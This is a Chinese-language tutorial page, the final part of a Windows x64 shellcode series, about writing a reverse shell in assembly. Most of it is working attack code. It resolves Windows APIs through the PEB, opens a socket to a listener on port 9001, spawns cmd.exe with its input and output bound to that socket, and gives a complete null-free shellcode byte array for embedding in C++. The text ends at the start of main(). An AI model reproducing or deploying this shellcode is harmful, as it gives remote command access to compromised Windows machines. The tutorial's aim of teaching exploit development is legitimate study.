CppGuide社区 CppGuide社区
首页
  • 最新谷歌C++风格指南(含C++17/20)
  • C++17详解
  • C++20完全指南
  • C++23快速入门
  • C++语言面试问题集锦
  • 🔥C/C++后端开发常见面试题解析 (opens new window)
  • 网络编程面试题 (opens new window)
  • 网络编程面试题 答案详解 (opens new window)
  • 聊聊WebServer作面试项目那些事儿 (opens new window)
  • 字节跳动面试官现身说 (opens new window)
  • 技术简历指南 (opens new window)
  • 🔥交易系统开发岗位求职与面试指南 (opens new window)
  • 第1章 高频C++11重难点知识解析
  • 第2章 Linux GDB高级调试指南
  • 第3章 C++多线程编程从入门到进阶
  • 第4章 C++网络编程重难点解析
  • 第5章 网络通信故障排查常用命令
  • 第6章 高性能网络通信协议设计精要
  • 第7章 高性能服务结构设计
  • 第8章 Redis网络通信模块源码分析
  • 第9章 后端服务重要模块设计探索
  • 🚀 全部章节.pdf 下载 (opens new window)
  • 源码分析系列

    • leveldb源码分析
    • libevent源码分析
    • Memcached源码分析
    • TeamTalk源码分析
    • 优质源码分享 (opens new window)
    • 🔥远程控制软件gh0st源码分析
  • 从零手写C++项目系列

    • C++游戏编程入门(零基础学C++)
    • 🔥使用C++17从零开发一个调试器 (opens new window)
    • 🔥使用C++20从零构建一个完整的低延迟交易系统 (opens new window)
    • 🔥使用C++从零写一个C语言编译器 (opens new window)
    • 从零用C语言写一个Redis
  • Windows 10系统编程
  • 🔥Windows x64 ShellCode入门教程
  • Go语言特性

    • Go开发实用指南
    • Go系统接口编程
    • 高效Go并发编程
    • Go性能调优
    • Go项目架构设计
  • Go项目实战

    • 使用Go从零开发一个数据库
    • 🔥使用Go从零开发一个编译器 (opens new window)
    • 🔥使用Go从零开发一个解释器 (opens new window)
    • 🔥用Go从零写一个编排器(类Kubernetes) (opens new window)
  • Rust编程

    • Rust编程指南
  • 数据库

    • SQL零基础指南
    • MySQL开发与调试指南
  • Linux内核

    • 心中的内核 —— 在阅读内核代码之前先理解内核
    • 🔥Linux 5.x内核开发与调试 完全指南 (opens new window)
    • TCP源码实现超详细注释版.pdf (opens new window)
GitHub (opens new window)
首页
  • 最新谷歌C++风格指南(含C++17/20)
  • C++17详解
  • C++20完全指南
  • C++23快速入门
  • C++语言面试问题集锦
  • 🔥C/C++后端开发常见面试题解析 (opens new window)
  • 网络编程面试题 (opens new window)
  • 网络编程面试题 答案详解 (opens new window)
  • 聊聊WebServer作面试项目那些事儿 (opens new window)
  • 字节跳动面试官现身说 (opens new window)
  • 技术简历指南 (opens new window)
  • 🔥交易系统开发岗位求职与面试指南 (opens new window)
  • 第1章 高频C++11重难点知识解析
  • 第2章 Linux GDB高级调试指南
  • 第3章 C++多线程编程从入门到进阶
  • 第4章 C++网络编程重难点解析
  • 第5章 网络通信故障排查常用命令
  • 第6章 高性能网络通信协议设计精要
  • 第7章 高性能服务结构设计
  • 第8章 Redis网络通信模块源码分析
  • 第9章 后端服务重要模块设计探索
  • 🚀 全部章节.pdf 下载 (opens new window)
  • 源码分析系列

    • leveldb源码分析
    • libevent源码分析
    • Memcached源码分析
    • TeamTalk源码分析
    • 优质源码分享 (opens new window)
    • 🔥远程控制软件gh0st源码分析
  • 从零手写C++项目系列

    • C++游戏编程入门(零基础学C++)
    • 🔥使用C++17从零开发一个调试器 (opens new window)
    • 🔥使用C++20从零构建一个完整的低延迟交易系统 (opens new window)
    • 🔥使用C++从零写一个C语言编译器 (opens new window)
    • 从零用C语言写一个Redis
  • Windows 10系统编程
  • 🔥Windows x64 ShellCode入门教程
  • Go语言特性

    • Go开发实用指南
    • Go系统接口编程
    • 高效Go并发编程
    • Go性能调优
    • Go项目架构设计
  • Go项目实战

    • 使用Go从零开发一个数据库
    • 🔥使用Go从零开发一个编译器 (opens new window)
    • 🔥使用Go从零开发一个解释器 (opens new window)
    • 🔥用Go从零写一个编排器(类Kubernetes) (opens new window)
  • Rust编程

    • Rust编程指南
  • 数据库

    • SQL零基础指南
    • MySQL开发与调试指南
  • Linux内核

    • 心中的内核 —— 在阅读内核代码之前先理解内核
    • 🔥Linux 5.x内核开发与调试 完全指南 (opens new window)
    • TCP源码实现超详细注释版.pdf (opens new window)
GitHub (opens new window)
  • Windows x64 ShellCode入门教程
  • Windows x64 ShellCode入门教程 01
  • Windows x64 ShellCode入门教程 02
  • Windows x64 ShellCode入门教程 03
  • Windows x64 ShellCode入门教程 04
  • Windows x64 ShellCode入门教程 05
  • Windows x64 ShellCode入门教程程 06
  • Windows x64 ShellCode入门教程 07
    目录

    Windows x64 ShellCode入门教程 07

    # Windows x64 ShellCode入门教程 07

    这是这个系列文章的最后一篇,这段旅程很有趣,但我们已经到达了目的地,是时候结束我们的汇编与shellcode变成入门课程。

    今天,我们将专注于用纯x64汇编编写一个反向shell,并辅以无空字节的shellcode来结束本系列。这有点像期末考试,看看你到目前为止学到了什么😃,说实话,如果今天的内容看起来有点难懂,我不会扣你的分。一个基于x64汇编的反向shell需要很多API,以及对x64汇编概念全面扎实的理解。今天的代码很长,但我特意进行了调整,让你可以轻松跟上进度,不会感到头疼。

    # 以熟悉的x64汇编为开端

    BITS 64
    SECTION .text
    global main
    main:
    sub rsp, 0x28                       ; stack alignment
    and rsp, 0xFFFFFFFFFFFFFFF0         ; stack alignment
    xor rcx, rcx                        ; RCX = 0
    mov rax, [gs:rcx + 0x60]            ; RAX = PEB
    mov rax, [rax + 0x18]               ; RAX = PEB->Ldr
    mov rsi,[rax+0x10]                  ; PEB.Ldr->InLoadOrderModuleList
    mov rsi, [rsi]
    mov rsi,[rsi]
    mov rbx, [rsi+0x30]                 ; kernel32.dll base address
    mov r8, rbx                         ; mov kernel32.dll base addr into r8
    mov ebx, [rbx+0x3C]                 ; Get Kernel32 PE Signature (offset 0x3C) into EBX
    add rbx, r8                         ; Add signature offset to kernel32 base. Store in RBX.
    xor rcx, rcx                        ; Avoid null bytes from mov edx,[rbx+0x88] by using rcx register to add
    add cx, 0x88ff                      ; cx is the lower 16 bit portion of ecx (32 bit), and rcx is 64 bit.
    shr rcx, 0x8                        ; RCX = 0x88ff --> 0x88
    mov edx, [rbx+rcx]                  ; EDX = [&NewEXEHeader + Offset RVA ExportTable] = RVA ExportTable
    add rdx, r8                         ; RDX = kernel32.dll + RVA ExportTable = ExportTable Address
    mov r10d, [rdx+0x14]                ; Number of functions
    xor r11, r11                        ; Zero R11 before use
    mov r11d, [rdx+0x20]                ; AddressOfNames RVA
    add r11, r8                         ; AddressOfNames VMA
    mov rcx, r10                        ; store number of functions for future use
    mov rax, 0x9090737365726464         ; 'ddress'
    shl rax, 0x10                       ; 7373657264640000
    shr rax, 0x10                       ; 0000737365726464 terminate our string w/ no nulls present in our shellcode!
    push rax
    mov rax, 0x41636F7250746547         ; 'GetProcA '
    push rax
    mov rax, rsp
    
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33

    我得说,今天我们代码的这部分至少对你来说应该很熟悉😺。这部分改动不大,因为我们总是要遍历PE导出表来查找函数。我只多添加了一行代码,就是将GetProcAddress字符串压入栈中,以便在代码的下一部分进行函数名查找循环时引用。

    # 函数名查找

    findfunction:                       ; Loop over Export Address Table to find WinApi names
        jecxz FunctionNameNotFound      ; Loop around this function until we find WinExec
        xor ebx,ebx                     ; Zero EBX for use
        mov ebx, [r11+rcx*4]            ; EBX = RVA for first AddressOfName
        add rbx, r8                     ; RBX = Function name VMA / add kernel32 base address to RVA and get WinApi name
        dec rcx                         ; Decrement our loop by one, this goes from Z to A
        ; Load first 8 bytes of "GetProcA"
        mov r9, qword [rax]             ; R9 = "GetProcA"
        cmp [rbx], r9                   ; Compare first 8 bytes
        jnz findfunction                ; If not equal, continue loop
        ; Check next part for "ddress" (4 bytes)
        mov r9d, dword [rax + 8]        ; R9 = "ddress"
        cmp [rbx + 8], r9d              ; Compare remaining part
        jz FunctionNameFound            ; If match, function found
    	jnz findfunction
    FunctionNameNotFound:
        int3
    FunctionNameFound:
        push rcx
        pop r15                         ; GetProcAddress position in Function Names
        inc r15   
        xor r11, r11
        mov r11d, [rdx+0x1c]            ; AddressOfFunctions RVA
        add r11, r8                     ; AddressOfFunctions VMA in R11. Kernel32+RVA for addressoffunctions
        mov eax, [r11+r15*4]            ; Get the function RVA.
        add rax, r8                     ; Found the GetProcAddress WinApi!!!
        push rax                        ; push GetProcAddress temporarily to be used by next segment
    
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27

    我真的应该在本系列之前的帖子中把这部分解释得更清楚。不过,迟做总比不做好😆 我们在这里要做的是获取RCX(即函数数量),并递减该值,直到找到我们要找的函数:GetProcAddress。

    我们在这里也耍了点小聪明。我们要找的是API名称的前8个字节。实际上,更简单的理解是,它确实就是所讨论字符串的前8个字符。所以,在这种情况下,就是GetProcA。一旦我们找到这个值,我们就会查找接下来的4个字符/字节,这里使用的是DWORD类型。那部分就是ddre。所以总的来说,我们要找的就是这个字符串:GetProcAddre,并且假设如果我们的字符串比较成功,那么我们就找到了GetProcAddress。我之所以这么做,是因为如果我进行两次QWORD比较,第二次比较会包含不属于我们字符串的数据。**为什么呢?**因为ddress,也就是我们这个API字符串(GetProcA)的后半部分,有6个字符,也就是6个字节。而栈是8字节的,剩下的2个字节会包含无用数据。

    这对大多数函数都适用,不过,有些函数的效果并不理想,例如CreateProcess。CreateProcess可以是CreateProcessA,也可以是CreateProcessW。一个用于ASCII编码,另一个用于宽字符编码。这都无关紧要,只是想让你知道这种函数名查找方法并非完美无缺。这是一种快速简便的函数查找方法,无需使用大量代码。相信我,我们可以尽可能精简代码。

    一旦找到GetProcAddress,我们就将其存储在RAX中。继续!

    # 定位LoadLibraryA地址

    ; Prepare arguments for getting q handle to LoadLibraryA:
        pop r15                         ; temporary use
        mov r12, r15                    ; save copy of GetProcAddress for future use
        mov rdi, r8                     ; make a copy of kernel32 base address for future use
        mov rcx, r8                     ; RCX = handle to kernel32.dll (first argument)
    ; Load "LoadLibraryA" onto the stack
        mov rax, 0x41797261             ; aryA, 0 (include null byte)
        push rax
        mov rax, 0x7262694C64616F4C     ; LoadLibr 
        push rax
        mov rdx, rsp                    ; RDX points to "LoadLibraryA" (second argument)
        sub rsp, 0x30                   ; decimal 48 ( 3 x 16 bytes)
        call r15                        ; Call GetProcAddress
        add rsp, 0x30
        mov r15, rax                    ; holds LoadLibraryA!
    
    ;Okay, let's make some notes on our current register values
    ;==========================================================
    ;r15 = LoadLibraryA
    ;rdi = Kernel32
    ;r12 = GetProcAddress
    
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21

    这部分相当简单明了。我们将kernel32作为第一个参数传入,将LoadLibraryA作为第二个参数传入GetProcAddress。

    我们确实只是按照微软的文档填写这个API。

    FARPROC GetProcAddress(
      [in] HMODULE hModule,
      [in] LPCSTR  lpProcName
    );
    
    1
    2
    3
    4

    # 找到ExitProcess地址

    ;exitprocess
        mov r9, r12                      ; r9 temporarily holds GetProcAddress handle
        mov rcx, rdi                     ; RCX = handle to kernel32.dll (first argument)
        ; Load "ExitProcess" onto the stack
        mov rax, 0x90737365              ; 'ess'
        shl eax, 0x8                     ; 0000000073736500
        shr eax, 0x8                     ; 0000000000737365 terminate our string w/ no nulls present in our shellcode!
        push rax
        mov rax, 0x636F725074697845      ; ExitProc 
        push rax
        mov rdx, rsp                     ; RDX points to "ExitProcess" (second argument)
        sub rsp, 0x30
        call r9                          ; Call GetProcAddress
        add rsp, 0x30
        mov rbx, rax                     ; RBX holds ExitProcess!
    
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15

    开始发现规律了吗?😄 和上一次的API查询一样,只不过这次我们要找的是ExitProcess。

    # 找到CreateProcessA的地址

    ;CreateProcessA
        mov r9, r12                      ; r9 temporarily holds GetProcAddress handle
        mov rcx, rdi                     ; RCX = handle to kernel32.dll (first argument)
        ; Load "CreateProcessA" onto the stack
        mov rax, 0x909041737365636F              ; 'ocessA'
        shl rax, 0x10                     ; 0000000073736500
        shr rax, 0x10                     ; 0000000000737365 terminate our string w/ no nulls present in our shellcode!
        push rax
        mov rax, 0x7250657461657243      ; CreatePr 
        push rax
        mov rdx, rsp                     ; RDX points to "CreateProcessA" (second argument)
        sub rsp, 0x30
        call r9                          ; Call GetProcAddress
        add rsp, 0x30
        mov r13, rax                     ; r13 holds CreateProcessA!
    
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15

    同样的情况,哈哈。我之所以这样写代码,是为了让它尽可能容易理解。到目前为止还不算太糟,对吧?我们继续吧。

    # 找到Ws2_32地址

    ;ws2_32.dll
        mov rax, 0x90906C6C              ; add "ll" string to RAX
        shl eax, 0x10                    ; 000000006C6C0000
        shr eax, 0x10                    ; 0000000000006C6C
        push rax                         ; push RAX to stack
        mov rax, 0x642E32335F327377      ; Add "ws2_32.d" string to RAX.
        push rax                         ; Push RAX to stack
        mov rcx, rsp                     ; Move a pointer to ws2_32.dll into RCX.
        sub rsp, 0x30
        call r15                         ; Call LoadLibraryA("ws2_32.dll")
        mov r14, rax                     ; holds ws2_32.dll address!!!
    
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11

    寄存器开始被填满了!有太多太多的API需要定位。现在我们开始定位套接字API了。我们大约完成了40%。继续加油干吧!

    # 定位WSAStartup地址

    ; Prepare arguments for GetProcAddress to load WSAStartup using ws2_32:
        mov rcx, r14                     ; RCX = handle to ws2_32.dll (first argument)
        mov rax, 0x90907075              ; Load "up" into RAX
        shl eax, 0x10                     ; 0000000041786F00
        shr eax, 0x10                     ; 000000000041786F
        push rax
        mov rax, 0x7472617453415357      ; Load "WSAStart" into RAX                  
        push rax
        mov rdx, rsp                     ; RDX points to "WSAStartup" (second argument)
        sub rsp, 0x30
        call r12                         ; Call GetProcAddress
        mov r15, rax                     ; Got WSAStartup!  Let's store it
    
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12

    我们已经获取了WSAStartup,现在还需要再获取几个,这样我们就能终于开始使用这些新获得的部分API了。

    # 找到WSASocketA地址

    ; Prepare arguments for GetProcAddress to load WSASocketA using ws2_32:
        mov rcx, r14                     ; RCX = handle to ws2_32.dll (first argument)
        mov rax, 0x90904174              ; Load "tA" into RAX
        shl eax, 0x10                     ; 0000000041786F00
        shr eax, 0x10                     ; 000000000041786F
        push rax
        mov rax, 0x656B636F53415357      ; Load "WSASocke" into RAX                  
        push rax
        mov rdx, rsp                     ; RDX points to "WSASocketA" (second argument)
        sub rsp, 0x30
        call r12                         ; Call GetProcAddress
        mov rsi, rax                     ; Got WSASocketA!  Let's store it
    
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12

    还剩一个。再说一次,还不错吧?这一切都只是重复进行API查询。有更简洁的方法可以做到这一点,比如使用函数循环等等。但在我看来,这是教授和理解如何使用x64汇编进行API查询的最简单形式。

    # 定位WSAConnect地址

    ; Prepare arguments for GetProcAddress to load WSAConnect using ws2_32:
        mov rcx, r14                     ; RCX = handle to ws2_32.dll (first argument)
        mov rax, 0x90907463              ; Load "ct" into RAX
        shl eax, 0x10                    ; 0000000041786F00
        shr eax, 0x10                    ; 000000000041786F
        push rax
        mov rax, 0x656E6E6F43415357      ; Load "WSAConne" into RAX                  
        push rax
        mov rdx, rsp                     ; RDX points to "WSAConnect" (second argument)
        sub rsp, 0x30
        call r12                         ; Call GetProcAddress
        mov rdi, rax                     ; Got WSAConnect!  Let's store it
    	
        mov r14, r13                     ; move CreateProcessA out of r13 into r14 for later use
    	
    ;Update #2 - register values
    ;===========================
    ;rbx = ExitProcess
    ;r12 = GetProcAddress
    ;r14 = CreateProcessA
    ;r14 = ws2_32
    ;r15 = WSAStartup
    ;rsi = WSASocketA
    ;rdi = WSAConnect
    
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24

    # 启动WSAStartup

    ; Call WSAStartup
        xor rcx, rcx
        mov cx, 0x198               ; Defines the size of the buffer that will be allocated on the stack to hold the WSADATA structure
        sub rsp, rcx                ; Reserve space for lpWSDATA structure
        lea rdx, [rsp]              ; Assign address of lpWSAData to RDX - 2nd param
        mov cx, 0x202               ; Assign 0x202 to wVersionRequired as 1st parameter
        sub rsp, 0x28               ; stack alignment
        call r15                    ; Call WSAStartup
        add rsp, 0x30               ; stack alignment
    
    1
    2
    3
    4
    5
    6
    7
    8
    9

    太棒了,我们要开始设置套接字了!现在,有趣的部分开始了……

    另外,这是我们正在加载的API:

    int WSAStartup(
      [in]  WORD      wVersionRequired,
      [out] LPWSADATA lpWSAData
    );
    
    1
    2
    3
    4

    # 创建一个套接字

    ; Create a socket 
        xor rcx, rcx           
        mov cl, 2                   ; AF = 2 - 1st param
        xor rdx, rdx          
        mov dl, 1                   ; Type = 1 - 2nd param
        xor r8, r8              
        mov r8b, 6                  ; Protocol = 6 - 3rd param
        xor r9, r9                  ; lpProtocolInfo = 0 - fourth param
        mov [rsp+0x20], r9          ; 0 = 5th param
        mov [rsp+0x28], r9          ; 0 = 6th param
        call rsi                    ; Call WSASocketA 
        mov r12, rax                ; Save the returned socket value
        add rsp, 0x30       
    
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13

    以下是API签名:

    SOCKET WSAAPI WSASocketA(
      [in] int                 af,
      [in] int                 type,
      [in] int                 protocol,
      [in] LPWSAPROTOCOL_INFOA lpProtocolInfo,
      [in] GROUP               g,
      [in] DWORD               dwFlags
    );
    
    1
    2
    3
    4
    5
    6
    7
    8

    我想指出,这是我们的汇编与 shellcode 系列中,首次出现函数调用传入超过 4 个参数的情况。

    以下是此处的内容安排:

    • 第一个参数(RCX)= 2。顺便说一下,CL是RCX寄存器的低8位部分。顺序是:RCX、ECX、CX和CL。
    • 第二个参数(RDX)= 1
    • 第三个参数(r8)= 6。r8b是r8寄存器中的低8位值。
    • 第4个参数(r9)- 0。

    第5个参数和第6个参数不会传入寄存器,而是直接进入栈,如下所示:

    • 0x0 = 0 = RCX
    • 0x8 = 8 = RDX
    • 0x10 = 16 = R8
    • 0x18 = 24 = R9
    • 0x20 = 32 = [rsp+0x20] 我们的第5个参数,我们只需将值0传入[rsp+0x20]
    • 0x28 = 40 = [rsp+0x28] 我们的第6个参数,我们只需将值0传入[rsp+0x28]

    # 将我们的套接字连接到目标的主机

    ; Initiate Socket Connection
        mov r13, rax                ; Store SOCKET handle in r13 for future needs
        mov rcx, r13                ; Our socket handle as parameter 1
        xor rax,rax                 ; rax = 0
        inc rax                     ; rax = 1
        inc rax                     ; rax = 2
        mov [rsp], rax              ; AF_INET = 2
        mov ax, 0x2923              ; Port 9001
        mov [rsp+2], ax             ; our Port
        ;mov rax, 0x0100007F        ; IP 127.0.0.1 (I use virtual box with port forwarding, hence the localhost addr)
        mov rax, 0xFFFFFFFFFEFFFF80 ; 127.0.0.1 encoded with NOT to avoid NULLs
        not rax                     ; decoded value
        mov [rsp+4], rax            ; our IP
        lea rdx,[rsp]               ; Save pointer to RDX
        mov r8b, 0x16               ; Move 0x10 (decimal 16) to namelen
        xor r9,r9             
        push r9                     ; NULL
        push r9                     ; NULL 
        push r9                     ; NULL
        add rsp, 8
        sub rsp, 0x60               ; This is somewhat problematic. needs to be a high value to account for the values pushed to the stack
        sub rsp, 0x60               ; in short, making space on the stack for stuff to get populated after executing WSAConnect
        call rdi                    ; Call WSAConnect
    
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23

    以下是WSAConnect API函数签名:

    int WSAAPI WSAConnect(
      [in]  SOCKET         s,
      [in]  const sockaddr *name,
      [in]  int            namelen,
      [in]  LPWSABUF       lpCallerData,
      [out] LPWSABUF       lpCalleeData,
      [in]  LPQOS          lpSQOS,
      [in]  LPQOS          lpGQOS
    );
    
    1
    2
    3
    4
    5
    6
    7
    8
    9

    在这里,我们要添加目标机器上监听器的IP和端口。我们还对代码做了一些巧妙处理来避免出现空值,比如对字符串/值进行取反操作等。调用这个API后,你应该能在目标机的netcat或监听代理上看到一个连接!

    # STARTUPINFOA、CreateProcessA和我们的命令shell(cmd.exe)+ ExitProcess

    ;prepare for CreateProcessA
        add rsp, 0x30
        mov rax, 0xFF9A879AD19B929C  ; encode cmd.exe using NOT to remove NULL bytes
        not rax                      ; decode cmd.exe
        push rax                      
        mov rcx, rsp                ; RCX = lpApplicationName (cmd.exe)
        ; STARTUPINFOA Structure (I despise this thing)
    	; https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/ns-processthreadsapi-startupinfoa
        push r13                    ; Push STDERROR
        push r13                    ; Push STDOUTPUT
        push r13                    ; Push STDINPUT
        xor rax,rax
        push rax                    ; 8 bytes -> push lpReserved2
        push rax                    ; 8 bytes -> combine cbReserved2 and wShowWindow
        push ax                     ; dwFlags 4 bytes total, first 2 bytes
        mov al, 0x1                 ; STARTF_USESTDHANDLES
        shl eax, 0x8                ; = 0x100 and removes NULL bytes!
        push ax                     ; continuation of the above, last 2 bytes for dwFlags
        xor rax,rax  
        push rax                    ; dwFillAttribute (4 bytes) + dwYCountChars (4 bytes)
        push rax                    ; dwXCountChars (4 bytes) + dwYSize (4 bytes)
        push rax                    ; dwXSize (4 bytes) + dwY (4 bytes)
        push ax                     ; dwX 4 bytes total, first 2 bytes
        push ax                     ; dwX last 2 bytes
        push rax                    ; 8 bytes -> lpTitle
        push rax                    ; 8 bytes -> lpDesktop = NULL
        push rax                    ; 8 bytes -> lpReserved = NULL
        mov al, 0x68                ; total size of structure.  Move it into AL to avoid NULLs
        push rax                    
        mov rdi,rsp                 ; Copy the pointer to the structure to RDI
        ; Call CreateProcessA
        mov rax, rsp                ; Get current stack pointer
        sub ax, 0x4FF               ; Setup space on the stack for holding process info
        dec ax                      ; we're subtracting 0x500 in total but we do it this way to avoid nulls
        push rax                    ; ProcessInfo
        push rdi                    ; StartupInfo -> Pointer to STARTUPINFOA
        xor rax, rax
        push rax                    ; lpCurrentDirectory
        push rax                    ; lpEnvironment
        push rax                   
        inc rax
        push rax                    ; bInheritHandles -> 1
        xor rax, rax
        push rax                    ; hStdInput = NULL
        push rax                    ; hStdOutput = NULL
        push rax                    ; hStdError = NULL
        push rax                    ; dwCreationFlags
        mov r8, rax                 ; lpThreadAttributes            
        mov r9, rax                 ; lpProcessAttributes           
        mov rdx, rcx                ; lpCommandLine = "cmd.exe" 
        mov rcx, rax                ; lpApplicationName              
        call r14                    ; Call CreateProcessA
        ; Clean exit
        xor rcx, rcx                ; move 0 into RCX = 1st parameter
        call rbx                    ; Call ExitProcess
    
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55

    这段代码确实有点让人望而生畏,对吧?我自己花了好久才弄明白。我们先从API开始吧:

    BOOL CreateProcessA(
      [in, optional]      LPCSTR                lpApplicationName,
      [in, out, optional] LPSTR                 lpCommandLine,
      [in, optional]      LPSECURITY_ATTRIBUTES lpProcessAttributes,
      [in, optional]      LPSECURITY_ATTRIBUTES lpThreadAttributes,
      [in]                BOOL                  bInheritHandles,
      [in]                DWORD                 dwCreationFlags,
      [in, optional]      LPVOID                lpEnvironment,
      [in, optional]      LPCSTR                lpCurrentDirectory,
      [in]                LPSTARTUPINFOA        lpStartupInfo,
      [out]               LPPROCESS_INFORMATION lpProcessInformation
    );
    
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12

    我在上一篇文章中已经介绍过STARTUPINFOA,所以今天就不再详细赘述了。至于CreateProcessA,我已尽量在各处添加注释,这样你就能了解我们是如何将值传入所需参数并将它们压入栈中的。

    好的,让我们编译这个庞然大物,获取我们的shellcode代码,然后得到一个反向shell。

    nasm -fwin64 asmsock2.asm NASM-fwin64 asmsocket k2. asm
    
    for i in $(objdump -D asmsock2.obj | grep “^ “ | cut -f2); do echo -n “\x$i” ; done
    
    1
    2
    3

    将生成的shellcode包含到我们的C++程序中。是的,我知道它很大。记住,这只是为了学习目的。

    如果我决定开设一门高级x64汇编课程,总有一天我会通过更多的函数查找循环来精简这段shellcode。不过目前我没那么多精力去做啦,哈哈!

    #include <windows.h>
    #include <iostream>
    
    // Shellcode (as given, formatted for clarity)
    unsigned char shellcode[] =
    "\x48\x83\xec\x28\x48\x83\xe4\xf0\x48\x31\xc9\x65\x48\x8b\x41\x60\x48\x8b\x40\x18\x48\x8b\x70\x10\x48\x8b"
    "\x36\x48\x8b\x36\x48\x8b\x5e\x30\x49\x89\xd8\x8b\x5b\x3c\x4c\x01\xc3\x48\x31\xc9\x66\x81\xc1\xff\x88\x48"
    "\xc1\xe9\x08\x8b\x14\x0b\x4c\x01\xc2\x44\x8b\x52\x14\x4d\x31\xdb\x44\x8b\x5a\x20\x4d\x01\xc3\x4c\x89\xd1"
    "\x48\xb8\x64\x64\x72\x65\x73\x73\x90\x90\x48\xc1\xe0\x10\x48\xc1\xe8\x10\x50\x48\xb8\x47\x65\x74\x50\x72"
    "\x6f\x63\x41\x50\x48\x89\xe0\x67\xe3\x20\x31\xdb\x41\x8b\x1c\x8b\x4c\x01\xc3\x48\xff\xc9\x4c\x8b\x08\x4c"
    "\x39\x0b\x75\xe9\x44\x8b\x48\x08\x44\x39\x4b\x08\x74\x03\x75\xdd\xcc\x51\x41\x5f\x49\xff\xc7\x4d\x31\xdb"
    "\x44\x8b\x5a\x1c\x4d\x01\xc3\x43\x8b\x04\xbb\x4c\x01\xc0\x50\x41\x5f\x4d\x89\xfc\x4c\x89\xc7\x4c\x89\xc1"
    "\xb8\x61\x72\x79\x41\x50\x48\xb8\x4c\x6f\x61\x64\x4c\x69\x62\x72\x50\x48\x89\xe2\x48\x83\xec\x30\x41\xff"
    "\xd7\x48\x83\xc4\x30\x49\x89\xc7\x4d\x89\xe1\x48\x89\xf9\xb8\x65\x73\x73\x90\xc1\xe0\x08\xc1\xe8\x08\x50"
    "\x48\xb8\x45\x78\x69\x74\x50\x72\x6f\x63\x50\x48\x89\xe2\x48\x83\xec\x30\x41\xff\xd1\x48\x83\xc4\x30\x48"
    "\x89\xc3\x4d\x89\xe1\x48\x89\xf9\x48\xb8\x6f\x63\x65\x73\x73\x41\x90\x90\x48\xc1\xe0\x10\x48\xc1\xe8\x10"
    "\x50\x48\xb8\x43\x72\x65\x61\x74\x65\x50\x72\x50\x48\x89\xe2\x48\x83\xec\x30\x41\xff\xd1\x48\x83\xc4\x30"
    "\x49\x89\xc5\xb8\x6c\x6c\x90\x90\xc1\xe0\x10\xc1\xe8\x10\x50\x48\xb8\x77\x73\x32\x5f\x33\x32\x2e\x64\x50"
    "\x48\x89\xe1\x48\x83\xec\x30\x41\xff\xd7\x49\x89\xc6\x4c\x89\xf1\xb8\x75\x70\x90\x90\xc1\xe0\x10\xc1\xe8"
    "\x10\x50\x48\xb8\x57\x53\x41\x53\x74\x61\x72\x74\x50\x48\x89\xe2\x48\x83\xec\x30\x41\xff\xd4\x49\x89\xc7"
    "\x4c\x89\xf1\xb8\x74\x41\x90\x90\xc1\xe0\x10\xc1\xe8\x10\x50\x48\xb8\x57\x53\x41\x53\x6f\x63\x6b\x65\x50"
    "\x48\x89\xe2\x48\x83\xec\x30\x41\xff\xd4\x48\x89\xc6\x4c\x89\xf1\xb8\x63\x74\x90\x90\xc1\xe0\x10\xc1\xe8"
    "\x10\x50\x48\xb8\x57\x53\x41\x43\x6f\x6e\x6e\x65\x50\x48\x89\xe2\x48\x83\xec\x30\x41\xff\xd4\x48\x89\xc7"
    "\x4d\x89\xee\x48\x31\xc9\x66\xb9\x98\x01\x48\x29\xcc\x48\x8d\x14\x24\x66\xb9\x02\x02\x48\x83\xec\x28\x41"
    "\xff\xd7\x48\x83\xc4\x30\x48\x31\xc9\xb1\x02\x48\x31\xd2\xb2\x01\x4d\x31\xc0\x41\xb0\x06\x4d\x31\xc9\x4c"
    "\x89\x4c\x24\x20\x4c\x89\x4c\x24\x28\xff\xd6\x49\x89\xc4\x48\x83\xc4\x30\x49\x89\xc5\x4c\x89\xe9\x48\x31"
    "\xc0\x48\xff\xc0\x48\xff\xc0\x48\x89\x04\x24\x66\xb8\x23\x29\x66\x89\x44\x24\x02\x48\xc7\xc0\x80\xff\xff"
    "\xfe\x48\xf7\xd0\x48\x89\x44\x24\x04\x48\x8d\x14\x24\x41\xb0\x16\x4d\x31\xc9\x41\x51\x41\x51\x41\x51\x48"
    "\x83\xc4\x08\x48\x83\xec\x60\x48\x83\xec\x60\xff\xd7\x48\x83\xc4\x30\x48\xb8\x9c\x92\x9b\xd1\x9a\x87\x9a"
    "\xff\x48\xf7\xd0\x50\x48\x89\xe1\x41\x55\x41\x55\x41\x55\x48\x31\xc0\x50\x50\x66\x50\xb0\x01\xc1\xe0\x08"
    "\x66\x50\x48\x31\xc0\x50\x50\x50\x66\x50\x66\x50\x50\x50\x50\xb0\x68\x50\x48\x89\xe7\x48\x89\xe0\x66\x2d"
    "\xff\x04\x66\xff\xc8\x50\x57\x48\x31\xc0\x50\x50\x50\x48\xff\xc0\x50\x48\x31\xc0\x50\x50\x50\x50\x49\x89"
    "\xc0\x49\x89\xc1\x48\x89\xca\x48\x89\xc1\x41\xff\xd6\x48\x31\xc9\xff\xd3";
    
    int main() {
